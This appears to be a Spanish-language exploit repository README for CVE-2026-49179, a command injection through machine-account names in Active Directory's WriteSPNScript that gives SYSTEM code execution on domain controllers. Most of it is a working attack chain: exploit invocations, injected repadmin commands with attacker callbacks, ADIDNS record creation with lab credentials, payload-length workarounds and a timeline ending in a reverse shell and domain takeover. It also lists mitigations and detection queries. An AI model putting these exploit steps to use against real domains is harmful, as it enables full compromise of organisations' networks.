
Pruebas de concepto y scripts de exploit para CVE-2026-49179, una inyección de comandos en la función WriteSPNScript de Active Directory que permite RCE como SYSTEM en controladores de dominio.
| Campo | Valor |
|---|---|
| ID CVE | CVE-2026-49179 |
| CVSS | 8.8 (AV:N/AC:L/PR:L/UI:N) |
| CWE | CWE-77 (Inyección de Comandos) |
| Componente Afectado | ntdsai.dll — función WriteSPNScript |
| Sistemas Afectados | Windows Server 2016, 2019, 2022, 2025 (sin parchear) |
| Vector de Ataque | Usuario de dominio autenticado (cualquiera) |
| Impacto | Ejecución Remota de Código como SYSTEM en el Controlador de Dominio |
| Publicado | Agosto 2026 |
La función WriteSPNScript en ntdsai.dll genera comandos de script por lotes para la remediación de SPN (Service Principal Name) durante las operaciones de mantenimiento de Active Directory. La función utiliza una cadena de formato para construir comandos repadmin.exe /writespn pero no sanitiza el parámetro Distinguished Name (DN), lo que permite la inyección de comandos a través del carácter & (separador de comandos de cmd.exe).
La cadena de formato vulnerable:
%ws\repadmin.exe /writespn %ws %ws %ws\r\n
Parámetros: SystemDir, WriteOp (ADD/DELETE), DN, SPN_value
El DN se deriva del Common Name (CN) de la cuenta de máquina, que se establece durante la creación de la cuenta. Cuando se crea una cuenta de máquina con metacaracteres de shell en su nombre, esos caracteres fluyen sin escapar hacia el script generado. Cuando cmd.exe ejecuta el script, & actúa como separador de comandos, ejecutando comandos controlados por el atacante como SYSTEM.
Active Directory tiene dos protocolos principales para gestionar cuentas de máquina:
Esta asimetría de validación es la causa raíz:
sAMAccountName, que se convierte en el CN y fluye hacia el DNWriteSPNScript sin sanitizaciónEn la dirección 0x1802a98a0 en el binario sin parchear:
void WriteSPNScript(... longlong param_4 /* DN */, longlong *param_5 /* SPNs */, ...)
{
STRSAFE_LPSTR pszDest; // ANSI output buffer
char local_288[47]; // Format: "%ws\repadmin.exe /writespn %ws %ws %ws\r\n"
WCHAR local_258[264]; // System directory
GetSystemDirectoryW(local_258, 0x104);
// Calculate buffer size (sum of all string lengths + overhead)
uVar4 = len(sysdir) + len(writeop) + len(spn_value) + len(dn) + 0x2f;
// Allocate and format — NO ESCAPING of DN or SPN parameters
pszDest = THAlloc_(param_1, 1, uVar4, 1);
StringCchPrintfA(pszDest, uVar4, local_288, local_258);
// Write to script file handle
WriteFile(handle, pszDest, len, &bytesWritten, NULL);
}
StringCchPrintfA formatea el DN directamente en el búfer de salida. Sin escape, sin comillas, sin sanitización.
Para una máquina con CN=A&ping attacker&B:
C:\Windows\System32\repadmin.exe /writespn ADD CN=A&ping attacker&B,CN=Computers,DC=domain,DC=local HOST/A&ping attacker&B
cmd.exe interpreta esto como cinco sentencias separadas:
El comando inyectado aparece dos veces — una desde el parámetro DN y otra desde el parámetro SPN (que también contiene el nombre de la máquina).
La función WriteSPNScript parcheada (tamaño: 1477 → 2005 bytes) introduce tres cambios:
Dos nuevas funciones de sanitización aplicadas a ambos parámetros DN y SPN:
EscapeForPowerShellSingleQuote() — escapa ' para prevenir el escape de cadenas entre comillas simplesEscapeForNativeArgvBackslashesBeforeDoubleQuote() — escapa secuencias \ antes de " para el análisis de argv nativoUna revisión anterior tenía un feature flag Feature_Servicing_SPN_alias_WRITE_PROP_check_37148918__private_IsEnabled que condicionaba la corrección. En el parche final, este flag fue eliminado — la corrección está siempre activa y no puede deshabilitarse.
Usando spn_probe3.py, se probó qué caracteres acepta SAMR en nombres de cuentas de máquina frente a lo que LDAP acepta en valores SPN:
SAMR Machine Name Character Test (as samwell.tarly):
[+] ACCEPTED ' (single quote) -> INJECT'A$ RID: 1123
[+] ACCEPTED ` (backtick) -> INJECT`A$ RID: 1124
[+] ACCEPTED & (ampersand) -> INJECT&A$ RID: 1125
[+] ACCEPTED $ (dollar sign) -> INJECT$A$ RID: 1126
[+] ACCEPTED ( (left paren) -> INJECT(A$ RID: 1127
[+] ACCEPTED ) (right paren) -> INJECT)A$ RID: 1128
[+] ACCEPTED ! (exclamation) -> INJECT!A$ RID: 1129
[+] ACCEPTED ' ' (space) -> INJECT A$ RID: 1130
LDAP SPN Validation (all 28 shell metacharacters tested):
[-] ALL REJECTED with constraintViolation (DSID-033E109C)
Hallazgo clave: SAMR permite los 8 metacaracteres de shell probados. LDAP los bloquea todos. El vector de inyección es a través de nombres de máquina creados por SAMR, no a través de valores SPN.
$ python3 spn_prl_exploit.py 192.168.56.11 \
-d north.sevenkingdoms.local \
-u samwell.tarly -p Heartsbane --payload benign
[*] Creating machine via SAMR: 'A&echo POC&B$'
[+] Created A&echo POC&B$, RID: 1137
También creado como samwell.tarly:
[+] Created C&ping a&D$, RID: 1138
Confirmado: un usuario de dominio normal (PR:L) puede crear cuentas de máquina con inyección de comandos & en el nombre.
Los usuarios de dominio normales pueden añadir registros ADIDNS. Se usó dnstool.py para crear un nombre de host corto apuntando al atacante:
python3 dnstool.py -u 'north.sevenkingdoms.local\samwell.tarly' -p 'Heartsbane' \
-r a.north.sevenkingdoms.local -a add -d 192.168.14.238 192.168.56.11
Resolución verificada en el DC:
*Evil-WinRM* PS> nslookup a.north.sevenkingdoms.local
Name: a.north.sevenkingdoms.local
Address: 192.168.14.238
Simulando la salida exacta que generaría WriteSPNScript, ejecutada en el DC:
Prueba de Escritura de Archivo:
*Evil-WinRM* PS> cmd /c "C:\Windows\System32\repadmin.exe /writespn ADD CN=X&echo INJECTED > C:\Windows\Temp\proof.txt&Y,CN=Computers,DC=north,DC=sevenkingdoms,DC=local HOST/test"
*Evil-WinRM* PS> type C:\Windows\Temp\proof.txt
INJECTED
Prueba de Callback ICMP:
*Evil-WinRM* PS> cmd /c "C:\Windows\System32\repadmin.exe /writespn ADD CN=X&ping -n 3 192.168.14.238&Y,CN=Computers,DC=north,DC=sevenkingdoms,DC=local HOST/test"
Pinging 192.168.14.238 with 32 bytes of data:
Reply from 192.168.14.238: bytes=32 time<1ms TTL=127
Reply from 192.168.14.238: bytes=32 time<1ms TTL=127
Reply from 192.168.14.238: bytes=32 time<1ms TTL=127
El tcpdump del atacante confirmó la llegada de ICMP:
02:36:10.815690 eth1 In IP 192.168.14.131 > 192.168.14.238: ICMP echo request, id 1, seq 10
02:36:10.815724 eth1 Out IP 192.168.14.238 > 192.168.14.131: ICMP echo reply, id 1, seq 10
02:36:11.820112 eth1 In IP 192.168.14.131 > 192.168.14.238: ICMP echo request, id 1, seq 11
02:36:11.820127 eth1 Out IP 192.168.14.238 > 192.168.14.131: ICMP echo reply, id 1, seq 11
02:36:12.834677 eth1 In IP 192.168.14.131 > 192.168.14.238: ICMP echo request, id 1, seq 12
02:36:12.834693 eth1 Out IP 192.168.14.238 > 192.168.14.131: ICMP echo reply, id 1, seq 12
Tanto la escritura de archivo como el callback ICMP confirman la inyección de comandos a través del DN.
El sAMAccountName de la cuenta de máquina está limitado a aproximadamente 15 caracteres antes del $ final (restricción de compatibilidad con NetBIOS). Esto restringe severamente la complejidad del payload.
Impacto: No se pueden incrustar direcciones IP, comandos largos o payloads complejos directamente en el nombre de la máquina.
Solución alternativa: Usar nombres de host DNS cortos para callbacks (por ejemplo, a de un solo carácter que resuelve a la IP del atacante). Los payloads deben ser concisos:
A&ping a&B (11 caracteres) — callback ICMPA&echo X&B (11 caracteres) — prueba de ejecuciónA&calc&B (8 caracteres) — prueba GUI en el DCA&whoami&B (11 caracteres) — confirmación de contextoAunque SAMR acepta metacaracteres de shell (& ' \ $ ( ) ! espacio`), rechaza caracteres necesarios para rutas de archivos y direcciones de red:
Impacto: No se pueden usar direcciones IP, rutas de archivos o URLs directamente en los payloads.
Solución alternativa:
%TEMP%, %SYSTEMROOT%) — aunque la aceptación de % no está confirmadaWriteSPNScript genera un archivo de script mediante WriteFile — no ejecuta comandos directamente. El script generado debe ser ejecutado por un proceso posterior. La función se invoca durante:
dcdiag /fix — el administrador ejecuta la herramienta de diagnóstico/reparaciónFixupSPNsOnComputerObject — corrección de SPN durante cambios de atributosImpacto: La inyección se prepara inmediatamente (creación de la máquina), pero la ejecución depende de un evento disparador en el DC. En un entorno de un solo DC sin socio de replicación, el disparador puede requerir actividad del administrador (por ejemplo, ejecutar dcdiag /fix).
En entornos de producción: Los despliegues multi-DC tienen ciclos de replicación regulares. Las discrepancias de SPN descubiertas durante la replicación dispararían WriteSPNScript automáticamente como parte de la resolución de conflictos.
El valor predeterminado de ms-DS-MachineAccountQuota es 10 por usuario. Cada intento de inyección consume una ranura. Las cuentas de máquina con caracteres especiales en sus nombres son difíciles de eliminar mediante herramientas estándar.
Impacto: Intentos limitados por cuenta de usuario. Los intentos fallidos desperdician cuota.
Solución alternativa: Cada usuario de dominio tiene su propia cuota. En entornos con muchos usuarios, un atacante podría usar múltiples cuentas.
Las cuentas de máquina creadas con &, $, (, ) en sus nombres no se pueden eliminar fácilmente a través de las herramientas estándar de gestión de AD (ADUC, PowerShell Remove-ADComputer) porque los caracteres especiales interfieren con el análisis de comandos. Esto deja artefactos forenses.
Una ruta de explotación alternativa — crear una máquina con nombre limpio, establecer SPNs válidos, luego renombrar para inyectar el DN — fue probada pero la operación LDAP ModifyDN (renombrar) requiere privilegios elevados:
samwell.tarly: [-] Rename failed: insufficientAccessRights
robb.stark: [+] Rename succeeded (domain admin)
Impacto: La estrategia de renombrado no es viable para PR:L. La creación directa vía SAMR con caracteres de inyección es la ruta PR:L.
&<comando>& en el nombre vía SAMRWriteSPNScript, que genera un comando repadmin.exe sin escaparDía 1: El atacante (cualquier usuario de dominio) ejecuta el exploit
- Crea la máquina "A&ping a&B$" vía SAMR
- Añade el registro DNS "a" apuntando a su servidor C2
- La inyección queda preparada — el atacante espera
Día N: El administrador ejecuta dcdiag /fix (mantenimiento rutinario)
- WriteSPNScript procesa la cuenta de máquina maliciosa
- Genera el comando repadmin con el DN sin escapar
- cmd.exe ejecuta "ping a" como SYSTEM → confirma el callback
Día N: El atacante mejora el payload
- Crea una nueva máquina con un payload de reverse shell
- Espera el siguiente ciclo de mantenimiento o evento de replicación
- Shell SYSTEM en el DC → compromiso total del dominio
Aplicar la actualización de seguridad del Patch Tuesday de agosto de 2026 de Microsoft
Auditar las cuentas de máquina en busca de caracteres inusuales:
Get-ADComputer -Filter * -Properties sAMAccountName |
Where-Object { $_.sAMAccountName -match '[&\x27`$()! ]' } |
Select-Object Name, sAMAccountName, Created, DistinguishedName
Establecer ms-DS-MachineAccountQuota en 0 para impedir que los usuarios normales creen cuentas de máquina:
Set-ADDomain -Identity "domain.local" -Replace @{"ms-DS-MachineAccountQuota"=0}
Monitorizar el Event ID 4741 (cuenta de equipo creada) en busca de caracteres inusuales en los nombres de cuenta
Restringir la creación de registros ADIDNS si los usuarios normales no la necesitan
| Protocolo | Validación de Caracteres | Metacaracteres de Shell |
|---|
| LDAP (valores SPN) | Estricta — CONSTRAINT_ATT_TYPE rechaza & ; | ' \ $ ( )` | Bloqueados |
| SAMR (nombres de máquina) | Laxa — valida el formato básico del nombre de cuenta | Permitidos: & ' \ $ ( ) ! espacio` |
| # | Sentencia | Resultado |
|---|
| 1 | C:\...\repadmin.exe /writespn ADD CN=A | Falla (DN truncado) |
| 2 | ping attacker | INYECTADO — se ejecuta como SYSTEM |
| 3 | B,CN=Computers,DC=... HOST/A | Falla (no es un comando válido) |
| 4 | ping attacker | INYECTADO — se ejecuta de nuevo (desde el parámetro SPN) |
| 5 | B | Falla (no es un comando válido) |
| Base (Vulnerable) | Parcheado |
|---|
| Función | StringCchPrintfA (ANSI) | StringCchPrintfW (Wide/Unicode) |
| Comillas | Ninguna | Parámetros entre comillas simples |
| Salida | repadmin /writespn ADD DN SPN | repadmin /writespn ADD 'escaped_DN' 'escaped_SPN' |
| Host | Rol | IP | SO |
|---|
| WINTERFELL | Controlador de Dominio | 192.168.56.11 | Windows Server 2019 |
| Atacante | Kali Linux | 192.168.14.238 | Kali 2026 |
| Dominio | north.sevenkingdoms.local | ||
| Usuario de bajo privilegio | samwell.tarly / Heartsbane | Usuario de dominio normal | |
| Usuario administrador | robb.stark / sexywolfy | Administrador de dominio |
| Paso | Acción | Actor | Resultado |
|---|
| 1 | SAMR acepta & en nombres de máquina | samwell.tarly (PR:L) | RID 1125, 1137, 1138 |
| 2 | LDAP rechaza & en valores SPN | samwell.tarly | 100% de rechazo |
| 3 | Creación de registro DNS para callback | samwell.tarly (PR:L) | a → 192.168.14.238 |
| 4 | Cuenta de máquina con CN de inyección | samwell.tarly (PR:L) | A&echo POC&B$, C&ping a&D$ |
| 5 | Escritura de archivo vía inyección cmd | DC (WriteSPNScript simulado) | proof.txt = "INJECTED" |
| 6 | Callback ICMP vía inyección cmd | DC (WriteSPNScript simulado) | 3 pings recibidos |
| Rechazado | Caso de Uso Bloqueado |
|---|
. (punto) | Direcciones IP (192.168.1.1), FQDN |
\ (barra invertida) | Rutas de Windows (C:\Windows\...) |
/ (barra inclinada) | Rutas URL, rutas Unix |
: (dos puntos) | Letras de unidad (C:), números de puerto |
" (comilla doble) | Comillas/escape en payloads |
< > | ; , = + * ? | Redirección, tuberías, comodines |
| Archivo | Descripción |
|---|
poc/spn_probe.py | Prueba los 28 metacaracteres de shell en valores SPN de LDAP |
poc/spn_probe2.py | Prueba el bypass de ancho completo/homoglifo Unicode + transporte DRSUAPI |
poc/spn_probe3.py | Prueba la aceptación de caracteres SAMR vs LDAP vs DRSUAPI |
poc/spn_exploit.py | Exploit mediante estrategia de renombrado (crear → SPN → renombrar → inyectar) |
poc/spn_prl_exploit.py | Exploit PR:L (creación directa vía SAMR + disparador dNSHostName opcional) |
nspi_diff_analysis.txt | Diff binario completo de ntdsai.dll (base vs parcheado) |